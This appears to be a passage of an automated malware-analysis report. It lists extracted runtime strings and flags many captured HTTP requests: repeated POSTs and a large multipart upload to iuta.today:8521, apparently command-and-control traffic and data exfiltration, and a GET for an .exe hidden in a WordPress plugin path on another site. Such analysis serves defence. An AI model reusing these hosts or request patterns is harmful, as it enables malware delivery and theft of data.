unavailablesoftware caused connection abortnumerical argument out of domainCertAddCertificateContextToStoreCertVerifyCertificateChainPolicyslice bounds out of range [::%x]slice bounds out of range [:%x:]slice bounds out of range [%x::] (types from different packages)end outside usable address spaceruntime: failed to release pagesruntime: fixalloc size too largeinvalid limiter event type foundscanstack: goroutine not stoppedscavenger state is already wiredsweep increased allocation countremovespecial on invalid pointerruntime: root level max pages = NtAssociateWaitCompletionPacket" (Indicator: "CertVerifyCertificateChainPolicy"; Source: "00000000-00002136.00000001.168372.0F8BD000.00000002.mdmp")2b:T76d8,Contains base64 string in header "POST" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 45Host: iuta.today:8521" Contains base64 string in header "Keep" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 45Host: iuta.today:8521" Contains base64 string in header "cacheContent" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 45Host: iuta.today:8521" Contains base64 string in header "Type" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 45Host: iuta.today:8521" Contains base64 string in header "form" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 45Host: iuta.today:8521" Contains base64 string in header "like" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 45Host: iuta.today:8521" Contains base64 string in header "iuta" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 45Host: iuta.today:8521" Contains base64 string in header "8521" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 45Host: iuta.today:8521" Contains base64 string in header "POST" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 74Host: iuta.today:8521" Contains base64 string in header "Keep" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 74Host: iuta.today:8521" Contains base64 string in header "cacheContent" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 74Host: iuta.today:8521" Contains base64 string in header "Type" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 74Host: iuta.today:8521" Contains base64 string in header "form" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 74Host: iuta.today:8521" Contains base64 string in header "like" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 74Host: iuta.today:8521" Contains base64 string in header "iuta" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 74Host: iuta.today:8521" Contains base64 string in header "8521" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 74Host: iuta.today:8521" Contains base64 string in header "POST" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 82Host: iuta.today:8521" Contains base64 string in header "Keep" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 82Host: iuta.today:8521" Contains base64 string in header "cacheContent" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 82Host: iuta.today:8521" Contains base64 string in header "Type" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 82Host: iuta.today:8521" Contains base64 string in header "form" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 82Host: iuta.today:8521" Contains base64 string in header "like" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 82Host: iuta.today:8521" Contains base64 string in header "iuta" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 82Host: iuta.today:8521" Contains base64 string in header "8521" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 82Host: iuta.today:8521" Contains base64 string in header "POST" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=2o3gTFaZ3User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 883Host: iuta.today:8521" Contains base64 string in header "Keep" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=2o3gTFaZ3User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 883Host: iuta.today:8521" Contains base64 string in header "cacheContent" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=2o3gTFaZ3User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 883Host: iuta.today:8521" Contains base64 string in header "Type" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=2o3gTFaZ3User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 883Host: iuta.today:8521" Contains base64 string in header "data" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=2o3gTFaZ3User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 883Host: iuta.today:8521" Contains base64 string in header "like" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=2o3gTFaZ3User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 883Host: iuta.today:8521" Contains base64 string in header "iuta" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=2o3gTFaZ3User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 883Host: iuta.today:8521" Contains base64 string in header "8521" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=2o3gTFaZ3User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 883Host: iuta.today:8521" Contains base64 string in header "POST" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 81Host: iuta.today:8521" Contains base64 string in header "Keep" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 81Host: iuta.today:8521" Contains base64 string in header "cacheContent" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 81Host: iuta.today:8521" Contains base64 string in header "Type" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 81Host: iuta.today:8521" Contains base64 string in header "form" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 81Host: iuta.today:8521" Contains base64 string in header "like" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 81Host: iuta.today:8521" Contains base64 string in header "iuta" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 81Host: iuta.today:8521" Contains base64 string in header "8521" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 81Host: iuta.today:8521" Contains base64 string in header "POST" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 56Host: iuta.today:8521" Contains base64 string in header "Keep" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 56Host: iuta.today:8521" Contains base64 string in header "cacheContent" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 56Host: iuta.today:8521" Contains base64 string in header "Type" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 56Host: iuta.today:8521" Contains base64 string in header "form" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 56Host: iuta.today:8521" Contains base64 string in header "like" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 56Host: iuta.today:8521" Contains base64 string in header "iuta" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 56Host: iuta.today:8521" Contains base64 string in header "8521" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 56Host: iuta.today:8521" Contains base64 string in header "POST" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 61Host: iuta.today:8521" Contains base64 string in header "Keep" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 61Host: iuta.today:8521" Contains base64 string in header "cacheContent" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 61Host: iuta.today:8521" Contains base64 string in header "Type" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 61Host: iuta.today:8521" Contains base64 string in header "form" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 61Host: iuta.today:8521" Contains base64 string in header "like" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 61Host: iuta.today:8521" Contains base64 string in header "iuta" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 61Host: iuta.today:8521" Contains base64 string in header "8521" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 61Host: iuta.today:8521" Contains base64 string in header "POST" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 63Host: iuta.today:8521" Contains base64 string in header "Keep" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 63Host: iuta.today:8521" Contains base64 string in header "cacheContent" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 63Host: iuta.today:8521" Contains base64 string in header "Type" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 63Host: iuta.today:8521" Contains base64 string in header "form" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 63Host: iuta.today:8521" Contains base64 string in header "like" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 63Host: iuta.today:8521" Contains base64 string in header "iuta" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 63Host: iuta.today:8521" Contains base64 string in header "8521" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 63Host: iuta.today:8521" Contains base64 string in header "POST" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 85Host: iuta.today:8521" Contains base64 string in header "Keep" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 85Host: iuta.today:8521" Contains base64 string in header "cacheContent" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 85Host: iuta.today:8521" Contains base64 string in header "Type" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 85Host: iuta.today:8521" Contains base64 string in header "form" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 85Host: iuta.today:8521" Contains base64 string in header "like" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 85Host: iuta.today:8521" Contains base64 string in header "iuta" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 85Host: iuta.today:8521" Contains base64 string in header "8521" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 85Host: iuta.today:8521" Contains base64 string in header "POST" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=ZwcR82omuqUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 790917Host: iuta.today:8521" Contains base64 string in header "Keep" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=ZwcR82omuqUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 790917Host: iuta.today:8521" Contains base64 string in header "cacheContent" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=ZwcR82omuqUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 790917Host: iuta.today:8521" Contains base64 string in header "Type" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=ZwcR82omuqUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 790917Host: iuta.today:8521" Contains base64 string in header "data" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=ZwcR82omuqUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 790917Host: iuta.today:8521" Contains base64 string in header "like" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=ZwcR82omuqUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 790917Host: iuta.today:8521" Contains base64 string in header "iuta" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=ZwcR82omuqUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 790917Host: iuta.today:8521" Contains base64 string in header "8521" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=ZwcR82omuqUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 790917Host: iuta.today:8521" Contains base64 string in header "content/plugins/eGlxCaft" in header "GET /wp-content/plugins/eGlxCaft.exe HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Host: www.italiaregina.it" Contains base64 string in header "Keep" in header "GET /wp-content/plugins/eGlxCaft.exe HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Host: www.italiaregina.it" Contains base64 string in header "like" in header "GET 